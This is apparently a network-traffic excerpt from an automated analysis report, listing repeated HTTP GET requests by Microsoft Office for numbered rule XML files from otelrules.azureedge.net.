Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
